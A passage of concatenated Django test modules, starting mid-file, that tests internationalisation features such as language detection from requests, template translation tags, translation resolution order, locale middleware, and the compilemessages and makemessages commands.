        self.assertEqual('es', g(r))

        # This test assumes there won't be a Django translation to a US
        # variation of the Spanish language, a safe assumption. When the
        # user sets it as the preferred language, the main 'es'
        # translation should be selected instead.
        r.COOKIES = {settings.LANGUAGE_COOKIE_NAME: 'es-us'}
        r.META = {}
        self.assertEqual(g(r), 'es')

        # This tests the following scenario: there isn't a main language (zh)
        # translation of Django but there is a translation to variation (zh-hans)
        # the user sets zh-hans as the preferred language, it should be selected
        # by Django without falling back nor ignoring it.
        r.COOKIES = {settings.LANGUAGE_COOKIE_NAME: 'zh-hans'}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'de'}
        self.assertEqual(g(r), 'zh-hans')

    def test_get_language_from_path_real(self):
        g = trans_real.get_language_from_path
        self.assertEqual(g('/pl/'), 'pl')
        self.assertEqual(g('/pl'), 'pl')
        self.assertIsNone(g('/xyz/'))

    def test_get_language_from_path_null(self):
        from django.utils.translation.trans_null import get_language_from_path as g
        self.assertIsNone(g('/pl/'))
        self.assertIsNone(g('/pl'))
        self.assertIsNone(g('/xyz/'))

    @override_settings(LOCALE_PATHS=extended_locale_paths)
    def test_percent_in_translatable_block(self):
        t_sing = Template("{% load i18n %}{% blocktrans %}The result was {{ percent }}%{% endblocktrans %}")
        t_plur = Template(
            "{% load i18n %}{% blocktrans count num as number %}"
            "{{ percent }}% represents {{ num }} object{% plural %}"
            "{{ percent }}% represents {{ num }} objects{% endblocktrans %}"
        )
        with translation.override('de'):
            self.assertEqual(t_sing.render(Context({'percent': 42})), 'Das Ergebnis war 42%')
            self.assertEqual(t_plur.render(Context({'percent': 42, 'num': 1})), '42% stellt 1 Objekt dar')
            self.assertEqual(t_plur.render(Context({'percent': 42, 'num': 4})), '42% stellt 4 Objekte dar')

    @override_settings(LOCALE_PATHS=extended_locale_paths)
    def test_percent_formatting_in_blocktrans(self):
        """
        Test that using Python's %-formatting is properly escaped in blocktrans,
        singular or plural
        """
        t_sing = Template("{% load i18n %}{% blocktrans %}There are %(num_comments)s comments{% endblocktrans %}")
        t_plur = Template(
            "{% load i18n %}{% blocktrans count num as number %}"
            "%(percent)s% represents {{ num }} object{% plural %}"
            "%(percent)s% represents {{ num }} objects{% endblocktrans %}"
        )
        with translation.override('de'):
            # Strings won't get translated as they don't match after escaping %
            self.assertEqual(t_sing.render(Context({'num_comments': 42})), 'There are %(num_comments)s comments')
            self.assertEqual(t_plur.render(Context({'percent': 42, 'num': 1})), '%(percent)s% represents 1 object')
            self.assertEqual(t_plur.render(Context({'percent': 42, 'num': 4})), '%(percent)s% represents 4 objects')

    def test_cache_resetting(self):
        """
        #14170 after setting LANGUAGE, cache should be cleared and languages
        previously valid should not be used.
        """
        g = get_language_from_request
        r = self.rf.get('/')
        r.COOKIES = {}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'pt-br'}
        self.assertEqual('pt-br', g(r))
        with self.settings(LANGUAGES=[('en', 'English')]):
            self.assertNotEqual('pt-br', g(r))

    def test_i18n_patterns_returns_list(self):
        with override_settings(USE_I18N=False):
            self.assertIsInstance(i18n_patterns([]), list)
        with override_settings(USE_I18N=True):
            self.assertIsInstance(i18n_patterns([]), list)


class ResolutionOrderI18NTests(SimpleTestCase):

    def setUp(self):
        super(ResolutionOrderI18NTests, self).setUp()
        activate('de')

    def tearDown(self):
        deactivate()
        super(ResolutionOrderI18NTests, self).tearDown()

    def assertUgettext(self, msgid, msgstr):
        result = ugettext(msgid)
        self.assertIn(
            msgstr, result,
            "The string '%s' isn't in the translation of '%s'; the actual result is '%s'."
            % (msgstr, msgid, result)
        )


class AppResolutionOrderI18NTests(ResolutionOrderI18NTests):

    @override_settings(LANGUAGE_CODE='de')
    def test_app_translation(self):
        # Original translation.
        self.assertUgettext('Date/time', 'Datum/Zeit')

        # Different translation.
        with self.modify_settings(INSTALLED_APPS={'append': 'i18n.resolution'}):
            # Force refreshing translations.
            activate('de')

            # Doesn't work because it's added later in the list.
            self.assertUgettext('Date/time', 'Datum/Zeit')

            with self.modify_settings(INSTALLED_APPS={'remove': 'django.contrib.admin.apps.SimpleAdminConfig'}):
                # Force refreshing translations.
                activate('de')

                # Unless the original is removed from the list.
                self.assertUgettext('Date/time', 'Datum/Zeit (APP)')


@override_settings(LOCALE_PATHS=extended_locale_paths)
class LocalePathsResolutionOrderI18NTests(ResolutionOrderI18NTests):

    def test_locale_paths_translation(self):
        self.assertUgettext('Time', 'LOCALE_PATHS')

    def test_locale_paths_override_app_translation(self):
        with self.settings(INSTALLED_APPS=['i18n.resolution']):
            self.assertUgettext('Time', 'LOCALE_PATHS')


class DjangoFallbackResolutionOrderI18NTests(ResolutionOrderI18NTests):

    def test_django_fallback(self):
        self.assertEqual(ugettext('Date/time'), 'Datum/Zeit')


class TestModels(TestCase):
    def test_lazy(self):
        tm = TestModel()
        tm.save()

    def test_safestr(self):
        c = Company(cents_paid=12, products_delivered=1)
        c.name = SafeText('Iñtërnâtiônàlizætiøn1')
        c.save()
        c.name = SafeBytes('Iñtërnâtiônàlizætiøn1'.encode('utf-8'))
        c.save()


class TestLanguageInfo(SimpleTestCase):
    def test_localized_language_info(self):
        li = get_language_info('de')
        self.assertEqual(li['code'], 'de')
        self.assertEqual(li['name_local'], 'Deutsch')
        self.assertEqual(li['name'], 'German')
        self.assertIs(li['bidi'], False)

    def test_unknown_language_code(self):
        six.assertRaisesRegex(self, KeyError, r"Unknown language code xx\.", get_language_info, 'xx')
        with translation.override('xx'):
            # A language with no translation catalogs should fallback to the
            # untranslated string.
            self.assertEqual(ugettext("Title"), "Title")

    def test_unknown_only_country_code(self):
        li = get_language_info('de-xx')
        self.assertEqual(li['code'], 'de')
        self.assertEqual(li['name_local'], 'Deutsch')
        self.assertEqual(li['name'], 'German')
        self.assertIs(li['bidi'], False)

    def test_unknown_language_code_and_country_code(self):
        six.assertRaisesRegex(self, KeyError, r"Unknown language code xx-xx and xx\.", get_language_info, 'xx-xx')

    def test_fallback_language_code(self):
        """
        get_language_info return the first fallback language info if the lang_info
        struct does not contain the 'name' key.
        """
        li = get_language_info('zh-my')
        self.assertEqual(li['code'], 'zh-hans')
        li = get_language_info('zh-hans')
        self.assertEqual(li['code'], 'zh-hans')


class MultipleLocaleActivationTests(SimpleTestCase):
    """
    Tests for template rendering behavior when multiple locales are activated
    during the lifetime of the same process.
    """
    def setUp(self):
        super(MultipleLocaleActivationTests, self).setUp()
        self._old_language = get_language()

    def tearDown(self):
        super(MultipleLocaleActivationTests, self).tearDown()
        activate(self._old_language)

    def test_single_locale_activation(self):
        """
        Simple baseline behavior with one locale for all the supported i18n constructs.
        """
        with translation.override('fr'):
            self.assertEqual(Template("{{ _('Yes') }}").render(Context({})), 'Oui')
            self.assertEqual(Template("{% load i18n %}{% trans 'Yes' %}").render(Context({})), 'Oui')
            self.assertEqual(
                Template("{% load i18n %}{% blocktrans %}Yes{% endblocktrans %}").render(Context({})),
                'Oui'
            )

    # Literal marked up with _() in a filter expression

    def test_multiple_locale_filter(self):
        with translation.override('de'):
            t = Template("{% load i18n %}{{ 0|yesno:_('yes,no,maybe') }}")
        with translation.override(self._old_language), translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'nee')

    def test_multiple_locale_filter_deactivate(self):
        with translation.override('de', deactivate=True):
            t = Template("{% load i18n %}{{ 0|yesno:_('yes,no,maybe') }}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'nee')

    def test_multiple_locale_filter_direct_switch(self):
        with translation.override('de'):
            t = Template("{% load i18n %}{{ 0|yesno:_('yes,no,maybe') }}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'nee')

    # Literal marked up with _()

    def test_multiple_locale(self):
        with translation.override('de'):
            t = Template("{{ _('No') }}")
        with translation.override(self._old_language), translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    def test_multiple_locale_deactivate(self):
        with translation.override('de', deactivate=True):
            t = Template("{{ _('No') }}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    def test_multiple_locale_direct_switch(self):
        with translation.override('de'):
            t = Template("{{ _('No') }}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    # Literal marked up with _(), loading the i18n template tag library

    def test_multiple_locale_loadi18n(self):
        with translation.override('de'):
            t = Template("{% load i18n %}{{ _('No') }}")
        with translation.override(self._old_language), translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    def test_multiple_locale_loadi18n_deactivate(self):
        with translation.override('de', deactivate=True):
            t = Template("{% load i18n %}{{ _('No') }}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    def test_multiple_locale_loadi18n_direct_switch(self):
        with translation.override('de'):
            t = Template("{% load i18n %}{{ _('No') }}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    # trans i18n tag

    def test_multiple_locale_trans(self):
        with translation.override('de'):
            t = Template("{% load i18n %}{% trans 'No' %}")
        with translation.override(self._old_language), translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    def test_multiple_locale_deactivate_trans(self):
        with translation.override('de', deactivate=True):
            t = Template("{% load i18n %}{% trans 'No' %}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    def test_multiple_locale_direct_switch_trans(self):
        with translation.override('de'):
            t = Template("{% load i18n %}{% trans 'No' %}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    # blocktrans i18n tag

    def test_multiple_locale_btrans(self):
        with translation.override('de'):
            t = Template("{% load i18n %}{% blocktrans %}No{% endblocktrans %}")
        with translation.override(self._old_language), translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    def test_multiple_locale_deactivate_btrans(self):
        with translation.override('de', deactivate=True):
            t = Template("{% load i18n %}{% blocktrans %}No{% endblocktrans %}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')

    def test_multiple_locale_direct_switch_btrans(self):
        with translation.override('de'):
            t = Template("{% load i18n %}{% blocktrans %}No{% endblocktrans %}")
        with translation.override('nl'):
            self.assertEqual(t.render(Context({})), 'Nee')


@override_settings(
    USE_I18N=True,
    LANGUAGES=[
        ('en', 'English'),
        ('fr', 'French'),
    ],
    MIDDLEWARE=[
        'django.middleware.locale.LocaleMiddleware',
        'django.middleware.common.CommonMiddleware',
    ],
    ROOT_URLCONF='i18n.urls',
)
class LocaleMiddlewareTests(TestCase):

    def test_streaming_response(self):
        # Regression test for #5241
        response = self.client.get('/fr/streaming/')
        self.assertContains(response, "Oui/Non")
        response = self.client.get('/en/streaming/')
        self.assertContains(response, "Yes/No")

    @override_settings(
        MIDDLEWARE=[
            'django.contrib.sessions.middleware.SessionMiddleware',
            'django.middleware.locale.LocaleMiddleware',
            'django.middleware.common.CommonMiddleware',
        ],
    )
    def test_language_not_saved_to_session(self):
        """Checks that current language is not automatically saved to
        session on every request."""
        # Regression test for #21473
        self.client.get('/fr/simple/')
        self.assertNotIn(LANGUAGE_SESSION_KEY, self.client.session)


@override_settings(
    USE_I18N=True,
    LANGUAGES=[
        ('en', 'English'),
        ('fr', 'French'),
    ],
    MIDDLEWARE=[
        'django.middleware.locale.LocaleMiddleware',
        'django.middleware.common.CommonMiddleware',
    ],
    ROOT_URLCONF='i18n.urls_default_unprefixed',
    LANGUAGE_CODE='en',
)
class UnprefixedDefaultLanguageTests(SimpleTestCase):
    def test_default_lang_without_prefix(self):
        """
        With i18n_patterns(..., prefix_default_language=False), the default
        language (settings.LANGUAGE_CODE) should be accessible without a prefix.
        """
        response = self.client.get('/simple/')
        self.assertEqual(response.content, b'Yes')

    def test_other_lang_with_prefix(self):
        response = self.client.get('/fr/simple/')
        self.assertEqual(response.content, b'Oui')

    def test_unprefixed_language_other_than_accept_language(self):
        response = self.client.get('/simple/', HTTP_ACCEPT_LANGUAGE='fr')
        self.assertEqual(response.content, b'Yes')

    def test_unexpected_kwarg_to_i18n_patterns(self):
        with self.assertRaisesMessage(AssertionError, "Unexpected kwargs for i18n_patterns(): {'foo':"):
            i18n_patterns(object(), foo='bar')


@override_settings(
    USE_I18N=True,
    LANGUAGES=[
        ('bg', 'Bulgarian'),
        ('en-us', 'English'),
        ('pt-br', 'Portuguese (Brazil)'),
    ],
    MIDDLEWARE=[
        'django.middleware.locale.LocaleMiddleware',
        'django.middleware.common.CommonMiddleware',
    ],
    ROOT_URLCONF='i18n.urls'
)
class CountrySpecificLanguageTests(SimpleTestCase):

    def setUp(self):
        super(CountrySpecificLanguageTests, self).setUp()
        self.rf = RequestFactory()

    def test_check_for_language(self):
        self.assertTrue(check_for_language('en'))
        self.assertTrue(check_for_language('en-us'))
        self.assertTrue(check_for_language('en-US'))
        self.assertTrue(check_for_language('be'))
        self.assertTrue(check_for_language('be@latin'))
        self.assertTrue(check_for_language('sr-RS@latin'))
        self.assertTrue(check_for_language('sr-RS@12345'))
        self.assertFalse(check_for_language('en-ü'))
        self.assertFalse(check_for_language('en\x00'))
        self.assertFalse(check_for_language(None))
        self.assertFalse(check_for_language('be@ '))
        # Specifying encoding is not supported (Django enforces UTF-8)
        self.assertFalse(check_for_language('tr-TR.UTF-8'))
        self.assertFalse(check_for_language('tr-TR.UTF8'))
        self.assertFalse(check_for_language('de-DE.utf-8'))

    def test_get_language_from_request(self):
        # issue 19919
        r = self.rf.get('/')
        r.COOKIES = {}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'en-US,en;q=0.8,bg;q=0.6,ru;q=0.4'}
        lang = get_language_from_request(r)
        self.assertEqual('en-us', lang)
        r = self.rf.get('/')
        r.COOKIES = {}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'bg-bg,en-US;q=0.8,en;q=0.6,ru;q=0.4'}
        lang = get_language_from_request(r)
        self.assertEqual('bg', lang)

    def test_specific_language_codes(self):
        # issue 11915
        r = self.rf.get('/')
        r.COOKIES = {}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'pt,en-US;q=0.8,en;q=0.6,ru;q=0.4'}
        lang = get_language_from_request(r)
        self.assertEqual('pt-br', lang)
        r = self.rf.get('/')
        r.COOKIES = {}
        r.META = {'HTTP_ACCEPT_LANGUAGE': 'pt-pt,en-US;q=0.8,en;q=0.6,ru;q=0.4'}
        lang = get_language_from_request(r)
        self.assertEqual('pt-br', lang)


class TranslationFilesMissing(SimpleTestCase):

    def setUp(self):
        super(TranslationFilesMissing, self).setUp()
        self.gettext_find_builtin = gettext_module.find

    def tearDown(self):
        gettext_module.find = self.gettext_find_builtin
        super(TranslationFilesMissing, self).tearDown()

    def patchGettextFind(self):
        gettext_module.find = lambda *args, **kw: None

    def test_failure_finding_default_mo_files(self):
        '''
        Ensure IOError is raised if the default language is unparseable.
        Refs: #18192
        '''
        self.patchGettextFind()
        trans_real._translations = {}
        with self.assertRaises(IOError):
            activate('en')


class NonDjangoLanguageTests(SimpleTestCase):
    """
    A language non present in default Django languages can still be
    installed/used by a Django project.
    """
    @override_settings(
        USE_I18N=True,
        LANGUAGES=[
            ('en-us', 'English'),
            ('xxx', 'Somelanguage'),
        ],
        LANGUAGE_CODE='xxx',
        LOCALE_PATHS=[os.path.join(here, 'commands', 'locale')],
    )
    def test_non_django_language(self):
        self.assertEqual(get_language(), 'xxx')
        self.assertEqual(ugettext("year"), "reay")

    @override_settings(
        USE_I18N=True,
        LANGUAGES=[
            ('en-us', 'English'),
            # xyz language has no locale files
            ('xyz', 'XYZ'),
        ],
    )
    @translation.override('xyz')
    def test_plural_non_django_language(self):
        self.assertEqual(get_language(), 'xyz')
        self.assertEqual(ungettext('year', 'years', 2), 'years')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import gettext as gettext_module
import os
import stat
import unittest
from subprocess import Popen

from django.core.management import (
    CommandError, call_command, execute_from_command_line,
)
from django.core.management.commands.makemessages import \
    Command as MakeMessagesCommand
from django.core.management.utils import find_command
from django.test import SimpleTestCase, mock, override_settings
from django.test.utils import captured_stderr, captured_stdout
from django.utils import six, translation
from django.utils.encoding import force_text
from django.utils.six import StringIO
from django.utils.translation import ugettext

from .utils import RunInTmpDirMixin, copytree

has_msgfmt = find_command('msgfmt')


@unittest.skipUnless(has_msgfmt, 'msgfmt is mandatory for compilation tests')
class MessageCompilationTests(RunInTmpDirMixin, SimpleTestCase):

    work_subdir = 'commands'


class PoFileTests(MessageCompilationTests):

    LOCALE = 'es_AR'
    MO_FILE = 'locale/%s/LC_MESSAGES/django.mo' % LOCALE

    def test_bom_rejection(self):
        with self.assertRaises(CommandError) as cm:
            call_command('compilemessages', locale=[self.LOCALE], stdout=StringIO())
        self.assertIn("file has a BOM (Byte Order Mark)", cm.exception.args[0])
        self.assertFalse(os.path.exists(self.MO_FILE))

    def test_no_write_access(self):
        mo_file_en = 'locale/en/LC_MESSAGES/django.mo'
        err_buffer = StringIO()
        # put file in read-only mode
        old_mode = os.stat(mo_file_en).st_mode
        os.chmod(mo_file_en, stat.S_IREAD)
        try:
            call_command('compilemessages', locale=['en'], stderr=err_buffer, verbosity=0)
            err = err_buffer.getvalue()
            self.assertIn("not writable location", force_text(err))
        finally:
            os.chmod(mo_file_en, old_mode)


class PoFileContentsTests(MessageCompilationTests):
    # Ticket #11240

    LOCALE = 'fr'
    MO_FILE = 'locale/%s/LC_MESSAGES/django.mo' % LOCALE

    def test_percent_symbol_in_po_file(self):
        call_command('compilemessages', locale=[self.LOCALE], stdout=StringIO())
        self.assertTrue(os.path.exists(self.MO_FILE))


class MultipleLocaleCompilationTests(MessageCompilationTests):

    MO_FILE_HR = None
    MO_FILE_FR = None

    def setUp(self):
        super(MultipleLocaleCompilationTests, self).setUp()
        localedir = os.path.join(self.test_dir, 'locale')
        self.MO_FILE_HR = os.path.join(localedir, 'hr/LC_MESSAGES/django.mo')
        self.MO_FILE_FR = os.path.join(localedir, 'fr/LC_MESSAGES/django.mo')

    def test_one_locale(self):
        with override_settings(LOCALE_PATHS=[os.path.join(self.test_dir, 'locale')]):
            call_command('compilemessages', locale=['hr'], stdout=StringIO())

            self.assertTrue(os.path.exists(self.MO_FILE_HR))

    def test_multiple_locales(self):
        with override_settings(LOCALE_PATHS=[os.path.join(self.test_dir, 'locale')]):
            call_command('compilemessages', locale=['hr', 'fr'], stdout=StringIO())

            self.assertTrue(os.path.exists(self.MO_FILE_HR))
            self.assertTrue(os.path.exists(self.MO_FILE_FR))


class ExcludedLocaleCompilationTests(MessageCompilationTests):

    work_subdir = 'exclude'

    MO_FILE = 'locale/%s/LC_MESSAGES/django.mo'

    def setUp(self):
        super(ExcludedLocaleCompilationTests, self).setUp()
        copytree('canned_locale', 'locale')

    def test_command_help(self):
        with captured_stdout(), captured_stderr():
            # `call_command` bypasses the parser; by calling
            # `execute_from_command_line` with the help subcommand we
            # ensure that there are no issues with the parser itself.
            execute_from_command_line(['django-admin', 'help', 'compilemessages'])

    def test_one_locale_excluded(self):
        call_command('compilemessages', exclude=['it'], stdout=StringIO())
        self.assertTrue(os.path.exists(self.MO_FILE % 'en'))
        self.assertTrue(os.path.exists(self.MO_FILE % 'fr'))
        self.assertFalse(os.path.exists(self.MO_FILE % 'it'))

    def test_multiple_locales_excluded(self):
        call_command('compilemessages', exclude=['it', 'fr'], stdout=StringIO())
        self.assertTrue(os.path.exists(self.MO_FILE % 'en'))
        self.assertFalse(os.path.exists(self.MO_FILE % 'fr'))
        self.assertFalse(os.path.exists(self.MO_FILE % 'it'))

    def test_one_locale_excluded_with_locale(self):
        call_command('compilemessages', locale=['en', 'fr'], exclude=['fr'], stdout=StringIO())
        self.assertTrue(os.path.exists(self.MO_FILE % 'en'))
        self.assertFalse(os.path.exists(self.MO_FILE % 'fr'))
        self.assertFalse(os.path.exists(self.MO_FILE % 'it'))

    def test_multiple_locales_excluded_with_locale(self):
        call_command('compilemessages', locale=['en', 'fr', 'it'], exclude=['fr', 'it'],
                     stdout=StringIO())
        self.assertTrue(os.path.exists(self.MO_FILE % 'en'))
        self.assertFalse(os.path.exists(self.MO_FILE % 'fr'))
        self.assertFalse(os.path.exists(self.MO_FILE % 'it'))


class CompilationErrorHandling(MessageCompilationTests):
    def test_error_reported_by_msgfmt(self):
        # po file contains wrong po formatting.
        with self.assertRaises(CommandError):
            call_command('compilemessages', locale=['ja'], verbosity=0)

    def test_msgfmt_error_including_non_ascii(self):
        # po file contains invalid msgstr content (triggers non-ascii error content).
        # Make sure the output of msgfmt is unaffected by the current locale.
        env = os.environ.copy()
        env.update({str('LANG'): str('C')})
        with mock.patch('django.core.management.utils.Popen', lambda *args, **kwargs: Popen(*args, env=env, **kwargs)):
            if six.PY2:
                # Various assertRaises on PY2 don't support unicode error messages.
                try:
                    call_command('compilemessages', locale=['ko'], verbosity=0)
                except CommandError as err:
                    self.assertIn("' cannot start a field name", six.text_type(err))
            else:
                cmd = MakeMessagesCommand()
                if cmd.gettext_version < (0, 18, 3):
                    self.skipTest("python-brace-format is a recent gettext addition.")
                with self.assertRaisesMessage(CommandError, "' cannot start a field name"):
                    call_command('compilemessages', locale=['ko'], verbosity=0)


class ProjectAndAppTests(MessageCompilationTests):
    LOCALE = 'ru'
    PROJECT_MO_FILE = 'locale/%s/LC_MESSAGES/django.mo' % LOCALE
    APP_MO_FILE = 'app_with_locale/locale/%s/LC_MESSAGES/django.mo' % LOCALE


class FuzzyTranslationTest(ProjectAndAppTests):

    def setUp(self):
        super(FuzzyTranslationTest, self).setUp()
        gettext_module._translations = {}  # flush cache or test will be useless

    def test_nofuzzy_compiling(self):
        with override_settings(LOCALE_PATHS=[os.path.join(self.test_dir, 'locale')]):
            call_command('compilemessages', locale=[self.LOCALE], stdout=StringIO())
            with translation.override(self.LOCALE):
                self.assertEqual(ugettext('Lenin'), force_text('Ленин'))
                self.assertEqual(ugettext('Vodka'), force_text('Vodka'))

    def test_fuzzy_compiling(self):
        with override_settings(LOCALE_PATHS=[os.path.join(self.test_dir, 'locale')]):
            call_command('compilemessages', locale=[self.LOCALE], fuzzy=True, stdout=StringIO())
            with translation.override(self.LOCALE):
                self.assertEqual(ugettext('Lenin'), force_text('Ленин'))
                self.assertEqual(ugettext('Vodka'), force_text('Водка'))


class AppCompilationTest(ProjectAndAppTests):

    def test_app_locale_compiled(self):
        call_command('compilemessages', locale=[self.LOCALE], stdout=StringIO())
        self.assertTrue(os.path.exists(self.PROJECT_MO_FILE))
        self.assertTrue(os.path.exists(self.APP_MO_FILE))






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import io
import os
import re
import shutil
import time
import warnings
from unittest import skipUnless

from django.core import management
from django.core.management import execute_from_command_line
from django.core.management.base import CommandError
from django.core.management.commands.makemessages import \
    Command as MakeMessagesCommand
from django.core.management.utils import find_command
from django.test import SimpleTestCase, mock, override_settings
from django.test.utils import captured_stderr, captured_stdout
from django.utils import six
from django.utils.encoding import force_text
from django.utils.six import StringIO
from django.utils.translation import TranslatorCommentWarning

from .utils import POFileAssertionMixin, RunInTmpDirMixin, copytree

LOCALE = 'de'
has_xgettext = find_command('xgettext')


@skipUnless(has_xgettext, 'xgettext is mandatory for extraction tests')
class ExtractorTests(POFileAssertionMixin, RunInTmpDirMixin, SimpleTestCase):

    work_subdir = 'commands'

    PO_FILE = 'locale/%s/LC_MESSAGES/django.po' % LOCALE

    def _run_makemessages(self, **options):
        os.chdir(self.test_dir)
        out = StringIO()
        management.call_command('makemessages', locale=[LOCALE], verbosity=2, stdout=out, **options)
        output = out.getvalue()
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = fp.read()
        return output, po_contents

    def assertMsgIdPlural(self, msgid, haystack, use_quotes=True):
        return self._assertPoKeyword('msgid_plural', msgid, haystack, use_quotes=use_quotes)

    def assertMsgStr(self, msgstr, haystack, use_quotes=True):
        return self._assertPoKeyword('msgstr', msgstr, haystack, use_quotes=use_quotes)

    def assertNotMsgId(self, msgid, s, use_quotes=True):
        if use_quotes:
            msgid = '"%s"' % msgid
        msgid = re.escape(msgid)
        return self.assertTrue(not re.search('^msgid %s' % msgid, s, re.MULTILINE))

    def _assertPoLocComment(self, assert_presence, po_filename, line_number, *comment_parts):
        with open(po_filename, 'r') as fp:
            po_contents = force_text(fp.read())
        if os.name == 'nt':
            # #: .\path\to\file.html:123
            cwd_prefix = '%s%s' % (os.curdir, os.sep)
        else:
            # #: path/to/file.html:123
            cwd_prefix = ''

        path = os.path.join(cwd_prefix, *comment_parts)
        parts = [path]

        if isinstance(line_number, six.string_types):
            line_number = self._get_token_line_number(path, line_number)
        if line_number is not None:
            parts.append(':%d' % line_number)

        needle = ''.join(parts)
        pattern = re.compile(r'^\#\:.*' + re.escape(needle), re.MULTILINE)
        if assert_presence:
            return six.assertRegex(self, po_contents, pattern, '"%s" not found in final .po file.' % needle)
        else:
            if six.PY3:
                return self.assertNotRegex(
                    po_contents, pattern, '"%s" shouldn\'t be in final .po file.' % needle
                )
            else:
                return self.assertNotRegexpMatches(
                    po_contents, pattern, '"%s" shouldn\'t be in final .po file.' % needle
                )

    def _get_token_line_number(self, path, token):
        with open(path) as f:
            for line, content in enumerate(f, 1):
                if token in force_text(content):
                    return line
        self.fail("The token '%s' could not be found in %s, please check the test config" % (token, path))

    def assertLocationCommentPresent(self, po_filename, line_number, *comment_parts):
        """
        self.assertLocationCommentPresent('django.po', 42, 'dirA', 'dirB', 'foo.py')

        verifies that the django.po file has a gettext-style location comment of the form

        `#: dirA/dirB/foo.py:42`

        (or `#: .\dirA\dirB\foo.py:42` on Windows)

        None can be passed for the line_number argument to skip checking of
        the :42 suffix part.
        A string token can also be passed as line_number, in which case it
        will be searched in the template, and its line number will be used.
        A msgid is a suitable candidate.
        """
        return self._assertPoLocComment(True, po_filename, line_number, *comment_parts)

    def assertLocationCommentNotPresent(self, po_filename, line_number, *comment_parts):
        """Check the opposite of assertLocationComment()"""
        return self._assertPoLocComment(False, po_filename, line_number, *comment_parts)

    def assertRecentlyModified(self, path):
        """
        Assert that file was recently modified (modification time was less than 10 seconds ago).
        """
        delta = time.time() - os.stat(path).st_mtime
        self.assertLess(delta, 10, "%s was recently modified" % path)

    def assertNotRecentlyModified(self, path):
        """
        Assert that file was not recently modified (modification time was more than 10 seconds ago).
        """
        delta = time.time() - os.stat(path).st_mtime
        self.assertGreater(delta, 10, "%s wasn't recently modified" % path)


class BasicExtractorTests(ExtractorTests):

    @override_settings(USE_I18N=False)
    def test_use_i18n_false(self):
        """
        makemessages also runs successfully when USE_I18N is False.
        """
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with io.open(self.PO_FILE, 'r', encoding='utf-8') as fp:
            po_contents = fp.read()
            # Check two random strings
            self.assertIn('#. Translators: One-line translator comment #1', po_contents)
            self.assertIn('msgctxt "Special trans context #1"', po_contents)

    def test_comments_extractor(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with io.open(self.PO_FILE, 'r', encoding='utf-8') as fp:
            po_contents = fp.read()
            self.assertNotIn('This comment should not be extracted', po_contents)

            # Comments in templates
            self.assertIn('#. Translators: This comment should be extracted', po_contents)
            self.assertIn(
                "#. Translators: Django comment block for translators\n#. "
                "string's meaning unveiled",
                po_contents
            )
            self.assertIn('#. Translators: One-line translator comment #1', po_contents)
            self.assertIn('#. Translators: Two-line translator comment #1\n#. continued here.', po_contents)
            self.assertIn('#. Translators: One-line translator comment #2', po_contents)
            self.assertIn('#. Translators: Two-line translator comment #2\n#. continued here.', po_contents)
            self.assertIn('#. Translators: One-line translator comment #3', po_contents)
            self.assertIn('#. Translators: Two-line translator comment #3\n#. continued here.', po_contents)
            self.assertIn('#. Translators: One-line translator comment #4', po_contents)
            self.assertIn('#. Translators: Two-line translator comment #4\n#. continued here.', po_contents)
            self.assertIn(
                '#. Translators: One-line translator comment #5 -- with '
                'non ASCII characters: áéíóúö',
                po_contents
            )
            self.assertIn(
                '#. Translators: Two-line translator comment #5 -- with '
                'non ASCII characters: áéíóúö\n#. continued here.',
                po_contents
            )

    def test_special_char_extracted(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with io.open(self.PO_FILE, 'r', encoding='utf-8') as fp:
            po_contents = fp.read()
            self.assertMsgId("Non-breaking space\u00a0:", po_contents)

    def test_blocktrans_trimmed(self):
        management.call_command('makemessages', locale=[LOCALE], verbosity=0)
        self.assertTrue(os.path.exists(self.PO_FILE))
        with open(self.PO_FILE, 'r') as fp:
            po_contents = force_text(fp.read())
            # should not be trimmed
            self.assertNotMsgId('Text with a few line breaks.', po_contents)
            # should be trimmed
            self.assertMsgId("Again some text with a few line breaks, this time should be trimmed.", po_contents)
        # #21406 -- Should adjust for eaten line numbers
        self.assertMsgId("Get my line number", po_contents)
        self.assertLocationCommentPresent(self.PO_FILE, 'Get my line number', 'templates', 'test.html')

    def test_force_en_us_locale(self):
        """Value of locale-munging option used by the command is the right one"""
        self.assertTrue(MakeMessagesCommand.leave_locale_alone)

    def test_extraction_error(self):
        msg = (
            'Translation blocks must not include other block tags: blocktrans '
            '(file %s, line 3)' % os.path.join('templates', 'template_with_error.tpl')
        )
        with self.assertRaisesMessage(SyntaxError, msg):
            management.call_command('makemessages', locale=[LOCALE], extensions=['tpl'], verbosity=0)
        # Check that the temporary file was cleaned up
        self.assertFalse(os.path.exists('./templates/template_with_error.tpl.py'))

    def test_unicode_decode_error(self):
        shutil.copyfile('./not_utf8.sample', './not_utf8.txt')
        out = StringIO()
        management.call_command('makemessages', locale=[LOCALE], stdout=out)
        self.assertIn("UnicodeDecodeError: skipped file not_utf8.txt in .",
                      force_text(out.getvalue()))

